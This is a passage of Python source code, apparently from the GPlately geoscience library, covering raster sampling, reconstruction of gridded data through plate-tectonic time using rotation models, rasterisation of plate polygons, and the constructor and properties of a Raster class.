indices : 2-tuple of numpy.ndarray\n The i- and j-indices of the nearest grid points to the input\n points, only present if `return_indices=True`.\n\n Raises\n ------\n ValueError\n If an invalid `method` is provided.\n RuntimeWarning\n If `lat` contains any invalid values outside of the interval\n [-90, 90]. Invalid values will be clipped to this interval.\n\n Notes\n -----\n If `return_indices` is set to `True`, the nearest array indices\n are returned as a tuple of arrays, in (i, j) or (lat, lon) format.\n\n An example output:\n\n # The first array holds the rows of the raster where point data spatially falls near.\n # The second array holds the columns of the raster where point data spatially falls near.\n sampled_indices = (array([1019, 1019, 1019, ..., 1086, 1086, 1087]), array([2237, 2237, 2237, ..., 983, 983, 983]))\n \"\"\"\n order = {\n \"nearest\": 0,\n \"linear\": 1,\n \"cubic\": 3,\n }.get(method, method)\n if order not in {0, 1, 2, 3, 4, 5}:\n raise ValueError(\"Invalid `method` parameter: {}\".format(method))\n\n if isinstance(grid, Raster):\n extent = grid.extent\n grid = np.array(grid.data)\n else:\n extent = _parse_extent_origin(extent, origin)\n grid = _check_grid(grid)\n\n # Do not wrap from North to South Pole (or vice versa)\n if np.any(np.abs(lat) > 90.0):\n warnings.warn(\n \"Invalid values encountered in lat; clipping to [-90, 90]\",\n RuntimeWarning,\n )\n lat = np.clip(lat, -90.0, 90.0)\n\n dx = (extent[1] - extent[0]) / (np.shape(grid)[1] - 1)\n dy = (extent[3] - extent[2]) / (np.shape(grid)[0] - 1)\n point_i = (lat - extent[2]) / dy\n point_j = (lon - extent[0]) / dx\n\n point_coords = np.row_stack(\n (\n np.ravel(point_i),\n np.ravel(point_j),\n )\n )\n if np.ndim(grid) == 2:\n interpolated = map_coordinates(\n np.array(grid, dtype=\"float\"),\n point_coords,\n order=order,\n mode=\"grid-wrap\",\n prefilter=order > 1,\n )\n interpolated = np.reshape(interpolated, np.shape(lon))\n else: # ndim(grid) == 3\n depth = np.shape(grid)[2]\n interpolated = []\n for k in range(depth):\n interpolated_k = map_coordinates(\n grid[..., k],\n point_coords,\n order=order,\n mode=\"grid-wrap\",\n prefilter=order > 1,\n )\n interpolated_k = np.reshape(\n interpolated_k,\n np.shape(lon),\n )\n interpolated.append(interpolated_k)\n del interpolated_k\n interpolated = np.stack(interpolated, axis=-1)\n\n interpolated = interpolated.astype(grid.dtype)\n if return_indices:\n indices = (\n np.rint(np.ravel(point_i)).astype(np.int_),\n np.rint(np.ravel(point_j)).astype(np.int_),\n )\n return interpolated, indices\n return interpolated\n\n\ndef reconstruct_grid(\n grid,\n partitioning_features,\n rotation_model,\n to_time,\n from_time=0.0,\n extent=\"global\",\n origin=None,\n fill_value=None,\n threads=1,\n anchor_plate_id=0,\n):\n \"\"\"Reconstruct a gridded dataset to a given reconstruction time.\n\n Parameters\n ----------\n grid : array_like, or str\n The grid to be reconstructed. If `grid` is a filename, it will be\n loaded using `gplately.grids.read_netcdf_grid`.\n partitioning_features : valid argument to pygplates.FeaturesFunctionArgument\n Features used to partition `grid` by plate ID, usually a static\n polygons file. `partitioning_features` may be a single\n feature (`pygplates.Feature`), a feature collection\n (`pygplates.FeatureCollection`), a filename (`str`), or a (potentially\n nested) sequence of any combination of the above types.\n rotation_model : valid argument to pygplates.RotationModel\n The rotation model used to reconstruct `grid`.\n `rotation_model` may be a rotation model object\n (`pygplates.RotationModel`), a rotation feature collection\n (`pygplates.FeatureCollection`), a rotation filename\n (`str`), a rotation feature (`pygplates.Feature`), a sequence of\n rotation features, or a (potentially nested) sequence of any\n combination of the above types.\n to_time : float\n Time to which `grid` will be reconstructed.\n from_time : float, default 0.0\n Time from which to reconstruct `grid`.\n extent : tuple or \"global\", default \"global\"\n Extent of `grid`. Valid arguments are a tuple of\n the form (xmin, xmax, ymin, ymax), or the string \"global\",\n equivalent to (-180.0, 180.0, -90.0, 90.0).\n origin : {\"upper\", \"lower\"}, optional\n Origin of `grid` - either lower-left or upper-left. By default,\n determined from `extent`.\n fill_value : float, int, or tuple, optional\n The value to be used for regions outside of `partitioning_features`\n at `to_time`. By default (`fill_value=None`), this value will be\n determined based on the input.\n threads : int, default 1\n Number of threads to use for certain computationally heavy routines.\n anchor_plate_id : int, default 0\n ID of the anchored plate.\n\n Returns\n -------\n numpy.ndarray\n The reconstructed grid. Areas for which no plate ID could be\n determined from `partitioning_features` will be filled with\n `fill_value`.\n\n Notes\n -----\n For two-dimensional grids, `fill_value` should be a single\n number. The default value will be `np.nan` for float or\n complex types, the minimum value for integer types, and the\n maximum value for unsigned types.\n For RGB image grids, `fill_value` should be a 3-tuple RGB\n colour code or a matplotlib colour string. The default value\n will be black (0.0, 0.0, 0.0) or (0, 0, 0).\n For RGBA image grids, `fill_value` should be a 4-tuple RGBA\n colour code or a matplotlib colour string. The default fill\n value will be transparent black (0.0, 0.0, 0.0, 0.0) or\n (0, 0, 0, 0).\n \"\"\"\n try:\n grid = np.array(read_netcdf_grid(grid)) # load grid data from file\n except Exception:\n grid = np.array(grid) # copy grid data to array\n if to_time == from_time:\n return grid\n elif rotation_model is None:\n raise TypeError(\n \"`rotation_model` must be provided if `to_time` != `from_time`\"\n )\n\n extent = _parse_extent_origin(extent, origin)\n dtype = grid.dtype\n\n if isinstance(threads, str):\n if threads.lower() in {\"all\", \"max\"}:\n threads = cpu_count()\n else:\n raise ValueError(\"Invalid `threads` value: {}\".format(threads))\n threads = min([int(threads), cpu_count()])\n threads = max([threads, 1])\n\n grid = grid.squeeze()\n grid = _check_grid(grid)\n\n # Determine fill_value\n if fill_value is None:\n if grid.ndim == 2:\n if dtype.kind == \"i\":\n fill_value = np.iinfo(dtype).min\n elif dtype.kind == \"u\":\n fill_value = np.iinfo(dtype).max\n else: # dtype.kind in (\"f\", \"c\")\n fill_value = np.nan\n else: # grid.ndim == 3\n if dtype.kind in (\"i\", \"u\"):\n fill_value = tuple([0] * grid.shape[2])\n else: # dtype.kind == \"f\"\n fill_value = tuple([0.0] * grid.shape[2])\n if isinstance(fill_value, str):\n if grid.ndim == 2:\n raise TypeError(\n \"Invalid fill_value for 2D grid: {}\".format(fill_value)\n )\n fill_value = np.array(matplotlib.colors.to_rgba(fill_value))\n if dtype.kind == \"u\":\n fill_value = (fill_value * 255.0).astype(\"u1\")\n fill_value = np.clip(fill_value, 0, 255)\n fill_value = tuple(fill_value)[:grid.shape[2]]\n\n if (\n grid.ndim == 3\n and grid.shape[2] == 4\n and hasattr(fill_value, \"__len__\")\n and len(fill_value) == 3\n ): # give fill colour maximum alpha value if not specified\n fill_alpha = 255 if dtype.kind in (\"i\", \"u\") else 1.0\n fill_value = (*fill_value, fill_alpha)\n if np.size(fill_value) != np.atleast_3d(grid).shape[-1]:\n raise ValueError(\n \"Shape mismatch: \"\n + \"fill_value size: {}\".format(np.size(fill_value))\n + \", grid shape: {}\".format(np.shape(grid))\n )\n\n xmin, xmax, ymin, ymax = extent\n ny, nx = grid.shape[:2]\n\n if isinstance(partitioning_features, pygplates.FeaturesFunctionArgument):\n partitioning_features = pygplates.FeatureCollection(\n partitioning_features.get_features()\n )\n elif not isinstance(partitioning_features, pygplates.FeatureCollection):\n partitioning_features = pygplates.FeatureCollection(\n pygplates.FeaturesFunctionArgument(\n partitioning_features\n ).get_features()\n )\n\n if not isinstance(rotation_model, pygplates.RotationModel):\n rotation_model = pygplates.RotationModel(rotation_model)\n\n lons = np.linspace(xmin, xmax, nx)\n lats = np.linspace(ymin, ymax, ny)\n m_lons, m_lats = np.meshgrid(lons, lats)\n\n valid_partitioning_features = [\n i for i in partitioning_features\n if i.is_valid_at_time(from_time)\n and i.is_valid_at_time(to_time)\n ]\n plate_ids = rasterise(\n features=valid_partitioning_features,\n rotation_model=rotation_model,\n key=\"plate_id\",\n time=from_time,\n extent=extent,\n shape=grid.shape[:2],\n origin=origin,\n )\n valid_output_mask = rasterise(\n features=valid_partitioning_features,\n rotation_model=rotation_model,\n key=\"plate_id\",\n time=to_time,\n extent=extent,\n shape=grid.shape[:2],\n origin=origin,\n ) != -1\n\n valid_mask = plate_ids != -1\n valid_m_lons = m_lons[valid_mask]\n valid_m_lats = m_lats[valid_mask]\n valid_plate_ids = plate_ids[valid_mask]\n if grid.ndim == 2:\n valid_data = grid[valid_mask]\n else:\n valid_data = np.empty(\n (grid.shape[2], np.sum(valid_mask)),\n dtype=dtype,\n )\n for k in range(grid.shape[2]):\n valid_data[k, :] = grid[..., k][valid_mask]\n\n if grid.ndim == 2:\n output_grid = np.full(grid.shape, fill_value)\n else:\n output_grid = np.empty(grid.shape, dtype=dtype)\n for k in range(grid.shape[2]):\n output_grid[..., k] = fill_value[k]\n output_lons = m_lons[valid_output_mask]\n output_lats = m_lats[valid_output_mask]\n\n unique_plate_ids, inv = np.unique(valid_plate_ids, return_inverse=True)\n rotations_dict = {}\n for plate in unique_plate_ids:\n rot = rotation_model.get_rotation(\n to_time=float(to_time),\n from_time=float(from_time),\n moving_plate_id=int(plate),\n anchor_plate_id=int(anchor_plate_id),\n )\n if not isinstance(rot, pygplates.FiniteRotation):\n raise ValueError(\"No rotation found for plate ID: {}\".format(plate))\n lat, lon, angle = rot.get_lat_lon_euler_pole_and_angle_degrees()\n angle = np.deg2rad(angle)\n vec = _lat_lon_to_vector(lat, lon, degrees=True)\n rotations_dict[plate] = vec * angle\n rotations_array = np.array(\n [rotations_dict[x] for x in unique_plate_ids]\n )[inv]\n combined_rotations = _Rotation.from_rotvec(rotations_array)\n\n point_vecs = _lat_lon_to_vector(\n np.ravel(valid_m_lats),\n np.ravel(valid_m_lons),\n degrees=True,\n )\n rotated_vecs = combined_rotations.apply(point_vecs)\n\n tree = _cKDTree(rotated_vecs)\n output_vecs = _lat_lon_to_vector(\n output_lats,\n output_lons,\n degrees=True,\n )\n # Compatibility with older versions of SciPy:\n # 'n_jobs' argument was replaced with 'workers'\n try:\n _, indices = tree.query(\n output_vecs,\n k=1,\n workers=threads,\n )\n except TypeError as err:\n if (\n \"Unexpected keyword argument\" in err.args[0]\n and \"workers\" in err.args[0]\n ):\n _, indices = tree.query(\n output_vecs,\n k=1,\n n_jobs=threads,\n )\n else:\n raise err\n\n if grid.ndim == 2:\n output_data = valid_data[indices]\n output_grid[valid_output_mask] = output_data\n else:\n for k in range(grid.shape[2]):\n output_data = valid_data[k, indices]\n output_grid[..., k][valid_output_mask] = output_data\n\n return output_grid\n\n\ndef rasterise(\n features,\n rotation_model=None,\n key=\"plate_id\",\n time=None,\n resx=1.0,\n resy=1.0,\n shape=None,\n extent=\"global\",\n origin=None,\n tessellate_degrees=0.1,\n):\n \"\"\"Rasterise GPlates objects at a given reconstruction time.\n\n This function is particularly useful for rasterising static polygons\n to extract a grid of plate IDs.\n\n Parameters\n ----------\n features : geometries or features\n `features` may be a single `pygplates.Feature`, a\n `pygplates.FeatureCollection`, a `str` filename,\n or a (potentially nested) sequence of any combination of the\n above types.\n Alternatively, `features` may also be a sequence of geometry types\n (`pygplates.GeometryOnSphere` or `pygplates.ReconstructionGeometry`).\n In this case, `rotation_model` and `time` will be ignored, and\n `key` must be an array_like of the same length as `features`.\n rotation_model : valid argument for pygplates.RotationModel, optional\n `rotation_model` may be a `pygplates.RotationModel`, a rotation\n feature collection (pygplates.FeatureCollection), a rotation filename\n (`str`), a rotation feature (`pygplates.Feature`), a sequence of\n rotation features, or a (potentially nested) sequence of any\n combination of the above types.\n Alternatively, if time not given, a rotation model is\n not usually required.\n key : str or array_like, default \"plate_id\"\n The value used to create the rasterised grid. May be any of\n the following values:\n - \"plate_id\"\n - \"conjugate_plate_id\"\n - \"from_age\"\n - \"to_age\"\n - \"left_plate\"\n - \"right_plate\"\n Alternatively, `key` may be a sequence of the same length as\n `features`.\n time : float, optional\n Reconstruction time at which to perform rasterisation. If given,\n `rotation_model` must also be specified.\n resx, resy : float, default 1.0\n Resolution (in degrees) of the rasterised grid.\n shape : tuple, optional\n If given, the output grid will have the specified shape,\n overriding `resx` and `resy`.\n extent : tuple or \"global\", default \"global\"\n Extent of the rasterised grid. Valid arguments are a tuple of\n the form (xmin, xmax, ymin, ymax), or the string \"global\",\n equivalent to (-180.0, 180.0, -90.0, 90.0).\n origin : {\"upper\", \"lower\"}, optional\n Origin (upper-left or lower-left) of the output array. By default,\n determined from `extent`.\n tessellate_degrees : float, default 0.1\n Densify pyGPlates geometries to this resolution before conversion.\n Can be disabled by specifying `tessellate_degrees=None`, but this\n may provide inaccurate results for low-resolution input geometries.\n\n Returns\n -------\n grid : numpy.ndarray\n The output array will have the shape specified in `shape`, if given.\n The origin of the array will be in the lower-left corner of\n the area specified in `extent`, unless `resx` or `resy` is negative.\n\n Raises\n ------\n ValueError\n If an invalid `key` value is passed.\n TypeError\n If `rotation_model` is not supplied and `time` is not `None`.\n\n Notes\n -----\n This function is used by gplately.grids.reconstruct_grids to rasterise\n static polygons in order to extract their plate IDs.\n \"\"\"\n valid_keys = {\n \"plate_id\",\n \"conjugate_plate_id\",\n \"from_age\",\n \"to_age\",\n \"left_plate\",\n \"right_plate\",\n }\n if isinstance(key, str):\n key = key.lower()\n if key not in valid_keys:\n raise ValueError(\n \"Invalid key: {}\".format(key)\n + \"\\nkey must be one of {}\".format(valid_keys)\n )\n\n extent = _parse_extent_origin(extent, origin)\n minx, maxx, miny, maxy = extent\n\n if minx > maxx:\n resx = -1.0 * np.abs(resx)\n if miny > maxy:\n resy = -1.0 * np.abs(resy)\n\n if shape is not None:\n lons = np.linspace(minx, maxx, shape[1], endpoint=True)\n lats = np.linspace(miny, maxy, shape[0], endpoint=True)\n else:\n lons = np.arange(minx, maxx + resx, resx)\n lats = np.arange(miny, maxy + resy, resy)\n nx = lons.size\n ny = lats.size\n\n try:\n features = pygplates.FeaturesFunctionArgument(features).get_features()\n geometries = None\n except Exception as err:\n if not str(err).startswith(\"Python argument types in\"):\n # Not a Boost.Python.ArgumentError\n raise err\n geometries = pygplates_to_shapely(\n features,\n tessellate_degrees=tessellate_degrees,\n )\n reconstructed = None\n\n if geometries is None:\n if rotation_model is None:\n if time is not None:\n raise TypeError(\n \"Rotation model must be provided if `time` is not `None`\"\n )\n rotation_model = pygplates.RotationModel(pygplates.Feature())\n time = 0.0\n features = pygplates.FeaturesFunctionArgument(features).get_features()\n if time is None:\n time = 0.0\n time = float(time)\n\n reconstructed = []\n pygplates.reconstruct(\n features,\n rotation_model,\n reconstructed,\n time,\n )\n geometries = pygplates_to_shapely(\n reconstructed,\n tessellate_degrees=tessellate_degrees,\n )\n if not isinstance(geometries, list):\n geometries = [geometries]\n\n if isinstance(key, str):\n values, fill_value, dtype = _get_rasterise_values(key, reconstructed)\n else:\n if not hasattr(key, \"__len__\"):\n key = [key] * len(geometries)\n if len(key) != len(geometries):\n raise ValueError(\n \"Shape mismatch: len(key) = {}, \".format(len(key))\n + \"len(geometries) = {}\".format(len(geometries))\n )\n values = np.array(key)\n dtype = values.dtype\n if dtype.kind == \"u\":\n fill_value = np.iinfo(dtype).max\n elif dtype.kind == \"i\":\n fill_value = -1\n elif dtype.kind == \"f\":\n fill_value = np.nan\n else:\n raise TypeError(\"Unrecognised dtype for `key`: {}\".format(dtype))\n\n return _rasterise_geometries(\n geometries=geometries,\n values=values,\n out_shape=(ny, nx),\n fill_value=fill_value,\n dtype=dtype,\n merge_alg=MergeAlg.replace,\n transform=_from_bounds(minx, miny, maxx, maxy, nx, ny),\n )\n\n\ndef _get_rasterise_values(\n key,\n reconstructed,\n):\n valid_keys = {\n \"plate_id\",\n \"conjugate_plate_id\",\n \"from_age\",\n \"to_age\",\n \"left_plate\",\n \"right_plate\",\n }\n if key == \"plate_id\":\n values = [i.get_feature().get_reconstruction_plate_id() for i in reconstructed]\n fill_value = -1\n dtype = np.int32\n elif key == \"conjugate_plate_id\":\n values = [i.get_feature().get_conjugate_plate_id() for i in reconstructed]\n fill_value = -1\n dtype = np.int32\n elif key == \"from_age\":\n values = [i.get_feature().get_valid_time()[0] for i in reconstructed]\n fill_value = np.nan\n dtype = np.float32\n elif key == \"to_age\":\n values = [i.get_feature().get_valid_time()[1] for i in reconstructed]\n fill_value = np.nan\n dtype = np.float32\n elif key == \"left_plate\":\n values = [i.get_feature().get_left_plate() for i in reconstructed]\n fill_value = -1\n dtype = np.int32\n elif key == \"right_plate\":\n values = [i.get_feature().get_right_plate() for i in reconstructed]\n fill_value = -1\n dtype = np.int32\n else:\n raise ValueError(\n \"Invalid key: {}\".format(key)\n + \"\\nkey must be one of {}\".format(valid_keys)\n )\n return values, fill_value, dtype\n\n\ndef _rasterise_geometries(\n geometries,\n values,\n out_shape,\n fill_value,\n dtype,\n transform,\n merge_alg=MergeAlg.replace,\n):\n shapes = zip(geometries, values)\n out = _rasterize(\n shapes=shapes,\n out_shape=out_shape,\n fill=fill_value,\n dtype=dtype,\n merge_alg=merge_alg,\n transform=transform,\n )\n return np.flipud(out)\n\n\nrasterize = rasterise\n\n\ndef _lat_lon_to_vector(lat, lon, degrees=False):\n \"\"\"Convert (lat, lon) coordinates (degrees or radians) to vectors on\n the unit sphere. Returns a vector of shape (3,) if `lat` and `lon` are\n single values, else an array of shape (N, 3) containing N (x, y, z)\n row vectors, where N is the size of `lat` and `lon`.\n \"\"\"\n lon = np.atleast_1d(lon).flatten()\n lat = np.atleast_1d(lat).flatten()\n if degrees:\n lat = np.deg2rad(lat)\n lon = np.deg2rad(lon)\n\n x = np.cos(lat) * np.cos(lon)\n y = np.cos(lat) * np.sin(lon)\n z = np.sin(lat)\n\n size = x.size\n if size == 1:\n x = np.atleast_1d(np.squeeze(x))[0]\n y = np.atleast_1d(np.squeeze(y))[0]\n z = np.atleast_1d(np.squeeze(z))[0]\n return np.array((x, y, z))\n\n x = x.reshape((-1, 1))\n y = y.reshape((-1, 1))\n z = z.reshape((-1, 1))\n return np.hstack((x, y, z))\n\n\ndef _vector_to_lat_lon(\n x,\n y,\n z,\n degrees=False,\n return_array=False,\n):\n \"\"\"Convert one or more (x, y, z) vectors (on the unit sphere) to\n (lat, lon) coordinate pairs, in degrees or radians.\n \"\"\"\n x = np.atleast_1d(x).flatten()\n y = np.atleast_1d(y).flatten()\n z = np.atleast_1d(z).flatten()\n\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\", RuntimeWarning)\n lat = np.arcsin(z)\n lon = np.arctan2(y, x)\n if degrees:\n lat = np.rad2deg(lat)\n lon = np.rad2deg(lon)\n\n if lat.size == 1 and not return_array:\n lat = np.atleast_1d(np.squeeze(lat))[0]\n lon = np.atleast_1d(np.squeeze(lon))[0]\n return (lat, lon)\n\n lat = lat.reshape((-1, 1))\n lon = lon.reshape((-1, 1))\n return lat, lon\n\n\ndef _check_grid_shape(data):\n \"\"\"Check data is a 2D grid or a 3D RGB(A) image.\"\"\"\n ndim = np.ndim(data)\n shape = np.shape(data)\n valid = True\n if ndim not in (2, 3):\n # ndim == 2: greyscale image/grid\n # ndim == 3: colour RGB(A) image\n valid = False\n if ndim == 3 and shape[2] not in (3, 4):\n # shape[2] == 3: colour image (RGB)\n # shape[2] == 4: colour image w/ transparency (RGBA)\n valid = False\n\n if not valid:\n raise ValueError(\"Invalid grid shape: {}\".format(shape))\n\n\ndef _check_image_values(data):\n \"\"\"Check values are within correct range for an RGB(A) image.\"\"\"\n dtype = data.dtype\n if dtype.kind == \"i\":\n data = data.astype(\"u1\")\n dtype = data.dtype\n min_value = np.nanmin(data)\n max_value = np.nanmax(data)\n if min_value < 0:\n raise ValueError(\n \"Invalid value for RGB(A) image: {}\".format(min_value)\n )\n if (\n (dtype.kind == \"f\" and max_value > 1.0)\n or (dtype.kind == \"u\" and max_value > 255)\n ):\n raise ValueError(\n \"Invalid value for RGB(A) image: {}\".format(max_value)\n )\n return data\n\n\ndef _check_grid(data):\n \"\"\"Check grid shape and values make sense.\"\"\"\n if not isinstance(data, np.ndarray):\n data = np.array(data)\n ndim = data.ndim\n dtype = data.dtype\n _check_grid_shape(data)\n\n if ndim == 3:\n # data is an RGB(A) image\n data = _check_image_values(data)\n\n return data\n\n\ndef _parse_extent_origin(extent, origin):\n \"\"\"Default values: extent='global', origin=None\"\"\"\n if hasattr(extent, \"lower\"): # i.e. a string\n extent = extent.lower()\n\n if extent is None or extent == \"global\":\n extent = (-180.0, 180.0, -90.0, 90.0)\n elif len(extent) != 4:\n raise TypeError(\n \"`extent` must be a four-element tuple, 'global', or None\"\n )\n extent = tuple(float(i) for i in extent)\n\n if origin is not None:\n origin = str(origin).lower()\n if origin == \"lower\" and extent[2] > extent[3]:\n extent = (\n extent[0],\n extent[1],\n extent[3],\n extent[2],\n )\n if origin == \"upper\" and extent[2] < extent[3]:\n extent = (\n extent[0],\n extent[1],\n extent[3],\n extent[2],\n )\n return extent\n\n\nclass Raster(object):\n \"\"\"A class for working with raster data.\n\n `Raster`'s functionalities inclue sampling data at points using spline\n interpolation, resampling rasters with new X and Y-direction spacings and\n resizing rasters using new X and Y grid pixel resolutions. NaN-type data\n in rasters can be replaced with the values of their nearest valid\n neighbours.\n\n Parameters\n ----------\n data : str or array-like\n The raster data, either as a filename (`str`) or array.\n\n plate_reconstruction : PlateReconstruction\n Allows for the accessibility of PlateReconstruction object attributes.\n Namely, PlateReconstruction object attributes rotation_model,\n topology_features and static_polygons can be used in the `Raster`\n object if called using “self.plate_reconstruction.X”, where X is the\n attribute.\n\n extent : str or 4-tuple, default: 'global'\n 4-tuple to specify (min_lon, max_lon, min_lat, max_lat) extents\n of the raster. If no extents are supplied, full global extent\n [-180,180,-90,90] is assumed (equivalent to `extent='global'`).\n For array data with an upper-left origin, make sure `min_lat` is\n greater than `max_lat`, or specify `origin` parameter.\n\n resample : 2-tuple, optional\n Optionally resample grid, pass spacing in X and Y direction as a\n 2-tuple e.g. resample=(spacingX, spacingY).\n\n time : float, default: 0.0\n The time step represented by the raster data. Used for raster\n reconstruction.\n\n origin : {'lower', 'upper'}, optional\n When `data` is an array, use this parameter to specify the origin\n (upper left or lower left) of the data (overriding `extent`).\n\n **kwargs\n Handle deprecated arguments such as `PlateReconstruction_object`,\n `filename`, and `array`.\n\n Attributes\n ----------\n data : ndarray, shape (ny, nx)\n Array containing the underlying raster data. This attribute can be\n modified after creation of the `Raster`.\n plate_reconstruction : PlateReconstruction\n An object of GPlately's `PlateReconstruction` class, like the\n `rotation_model`, a set of reconstructable `topology_features` and\n `static_polygons` that belong to a particular plate model. These\n attributes can be used in the `Raster` object if called using\n “self.plate_reconstruction.X”, where X is the attribute. This\n attribute can be modified after creation of the `Raster`.\n extent : tuple of floats\n Four-element array to specify [min lon, max lon, min lat, max lat]\n extents of any sampling points. If no extents are supplied, full\n global extent [-180,180,-90,90] is assumed.\n lons : ndarray, shape (nx,)\n The x-coordinates of the raster data. This attribute can be modified\n after creation of the `Raster`.\n lats : ndarray, shape (ny,)\n The y-coordinates of the raster data. This attribute can be modified\n after creation of the `Raster`.\n origin : {'lower', 'upper'}\n The origin (lower or upper left) or the data array.\n filename : str or None\n The filename used to create the `Raster` object. If the object was\n created directly from an array, this attribute is `None`.\n\n Methods\n -------\n interpolate(lons, lats, method='linear', return_indices=False)\n Sample gridded data at a set of points using spline interpolation.\n\n resample(spacingX, spacingY, overwrite=False)\n Resamples the grid using X & Y-spaced lat-lon arrays, meshed with\n linear interpolation.\n\n resize(resX, resY, overwrite=False)\n Resizes the grid with a specific resolution and samples points\n using linear interpolation.\n\n fill_NaNs(overwrite=False)\n Searches for invalid 'data' cells containing NaN-type entries and\n replaces NaNs with the value of the nearest valid data cell.\n\n reconstruct(time, fill_value=None, partitioning_features=None,\n threads=1, anchor_plate_id=0, inplace=False)\n Reconstruct the raster from its initial time (`self.time`) to a new\n time.\n \"\"\"\n def __init__(\n self,\n data=None,\n plate_reconstruction=None,\n extent=\"global\",\n realign=False,\n resample=None,\n time=0.0,\n origin=None,\n **kwargs\n ):\n \"\"\"Constructs all necessary attributes for the raster object.\n\n Note: either a str path to a netCDF file OR an ndarray representing a grid must be specified.\n\n Parameters\n ----------\n data : str or array-like\n The raster data, either as a filename (`str`) or array.\n\n plate_reconstruction : PlateReconstruction\n Allows for the accessibility of PlateReconstruction object attributes. Namely, PlateReconstruction object\n attributes rotation_model, topology_featues and static_polygons can be used in the points object if called using\n “self.plate_reconstruction.X”, where X is the attribute.\n\n extent : str or 4-tuple, default: 'global'\n 4-tuple to specify (min_lon, max_lon, min_lat, max_lat) extents\n of the raster. If no extents are supplied, full global extent\n [-180,180,-90,90] is assumed (equivalent to `extent='global'`).\n For array data with an upper-left origin, make sure `min_lat` is\n greater than `max_lat`, or specify `origin` parameter.\n\n resample : 2-tuple, optional\n Optionally resample grid, pass spacing in X and Y direction as a\n 2-tuple e.g. resample=(spacingX, spacingY).\n\n time : float, default: 0.0\n The time step represented by the raster data. Used for raster\n reconstruction.\n\n origin : {'lower', 'upper'}, optional\n When `data` is an array, use this parameter to specify the origin\n (upper left or lower left) of the data (overriding `extent`).\n\n **kwargs\n Handle deprecated arguments such as `PlateReconstruction_object`,\n `filename`, and `array`.\n \"\"\"\n if isinstance(data, self.__class__):\n self._data = data._data.copy()\n self.plate_reconstruction = data.plate_reconstruction\n self._lons = data._lons\n self._lats = data._lats\n self._time = data._time\n return\n\n if \"PlateReconstruction_object\" in kwargs.keys():\n warnings.warn(\n \"`PlateReconstruction_object` keyword argument has been \"\n + \"deprecated, use `plate_reconstruction` instead\",\n DeprecationWarning,\n )\n if plate_reconstruction is None:\n plate_reconstruction = kwargs.pop(\"PlateReconstruction_object\")\n if \"filename\" in kwargs.keys() and \"array\" in kwargs.keys():\n raise TypeError(\n \"Both `filename` and `array` were provided; use \"\n + \"one or the other, or use the `data` argument\"\n )\n if \"filename\" in kwargs.keys():\n warnings.warn(\n \"`filename` keyword argument has been deprecated, \"\n + \"use `data` instead\",\n DeprecationWarning,\n )\n if data is None:\n data = kwargs.pop(\"filename\")\n if \"array\" in kwargs.keys():\n warnings.warn(\n \"`array` keyword argument has been deprecated, \"\n + \"use `data` instead\",\n DeprecationWarning,\n )\n if data is None:\n data = kwargs.pop(\"array\")\n for key in kwargs.keys():\n raise TypeError(\n \"Raster.__init__() got an unexpected keyword argument \"\n + \"'{}'\".format(key)\n )\n self.plate_reconstruction = plate_reconstruction\n\n if time < 0.0:\n raise ValueError(\"Invalid time: {}\".format(time))\n time = float(time)\n self._time = time\n\n if data is None:\n raise TypeError(\n \"`data` argument (or `filename` or `array`) is required\"\n )\n if isinstance(data, str):\n # Filename\n self._filename = data\n self._data, lons, lats = read_netcdf_grid(\n data,\n return_grids=True,\n realign=realign,\n resample=resample,\n )\n self._lons = lons\n self._lats = lats\n\n else:\n # numpy array\n self._filename = None\n extent = _parse_extent_origin(extent, origin)\n data = _check_grid(data)\n self._data = np.array(data)\n self._lons = np.linspace(extent[0], extent[1], self.data.shape[1])\n self._lats = np.linspace(extent[2], extent[3], self.data.shape[0])\n if realign:\n # realign to -180,180 and flip grid\n self._data, self._lons, self._lats = realign_grid(self._data, self._lons, self._lats)\n\n if (not isinstance(data, str)) and (resample is not None):\n self.resample(*resample, inplace=True)\n\n @property\n def time(self):\n \"\"\"The time step represented by the raster data.\"\"\"\n return self._time\n\n @property\n def data(self):\n \"\"\"The object's raster data.\n\n Can be modified.\n \"\"\"\n return self._data\n\n @data.setter\n def data(self, z):\n z = np.array(z)\n if z.shape != np.shape(self.data):\n raise ValueError(\n \"Shape mismatch: old dimensions are {}, new are {}\".format(\n np.shape(self.data),\n z.shape,\n )\n )\n self._data = z\n\n @property\n def lons(self):\n \"\"\"The x-coordinates of the raster data.\n\n Can be modified.\n \"\"\"\n return self._lons\n\n @lons.setter\n def lons(self, x):\n x = np.array(x).ravel()\n if x.size != np.shape(self.data)[1]:\n raise ValueError(\n \"Shape mismatch: data x-dimension is {}, new value is {}\".format(\n np.shape(self.data)[1],\n x.size,\n )\n )\n self._lons = x\n\n @property\n def lats(self):\n \"\"\"The y-coordinates of the raster data.\n\n Can be modified.\n \"\"\"\n return self._lats\n\n @lats.setter\n def lats(self, y):\n y = np.array(y).ravel()\n if y.size != np.shape(self.data)[0]:\n raise ValueError(\n \"Shape mismatch: data y-dimension is {}, new value is {}\".format(\n np.shape(self.data)[0],\n y.size,\n )\n )\n self._lats = y\n\n @property\n def extent(self):\n \"\"\"The spatial extent (x0, x1, y0, y1) of the data.\n\n If y0 < y1, the origin is the lower-left corner; else the upper-left.\n \"\"\"\n return (\n float(self.lons[0]),\n float(self.lons[-1]),\n float(self.lats[0]),\n float(self.lats[-1]),\n )\n\n @property\n def origin(self):\n \"\"\"The origin of the data array, used for e.g. plotting.\"\"\"\n if self.lats[0] < self.lats[-1]:\n return \"lower\"\n else:\n return \"upper\"\n\n @property\n def shape(self):\n \"\"\"The shape of the data array.\"\"\"\n return np.shape(self.data)\n\n @property\n def size(self):\n \"\"\"The size of the data array.\"\"\"\n return np.size(self.data)\n\n @property\n def dtype(self):\n \"\"\"The data type of the array.\"\"\"\n return self.data.dtype\n\n @property\n def ndim(self):\n \"\"\"The number of dimensions in the array.\"\"\"\n return np.ndim(self.data)\n\n @property\n def filename(self):\n \"\"\"The filename of the raster file used to create the object.\n\n If a NumPy array was used instead, this attribute is `None`.\n \"\"\"\n return self._filename\n\n @property\n def plate_reconstruction(self):\n \"\"\"The `PlateReconstruction` object to be used for raster\n reconstruction.\n \"\"\"\n return self._plate_reconstruction\n\n @plate_reconstruction.setter\n def plate_reconstruction(self, reconstruction):\n if reconstruction is None:\n # Remove `plate_reconstruction` attribute\n pass\n elif not isinstance(reconstruction, _PlateReconstruction):\n # Convert to a `PlateReconstruction` if possible\n try:\n reconstruction = _PlateReconstruction(*reconstruction)\n except Exception:\n reconstruction = _PlateReconstruction(reconstruction)\n self._plate_reconstruction = reconstruction\n\n\n def copy(self):\n \"\"\" Returns a copy of the Raster\n \n 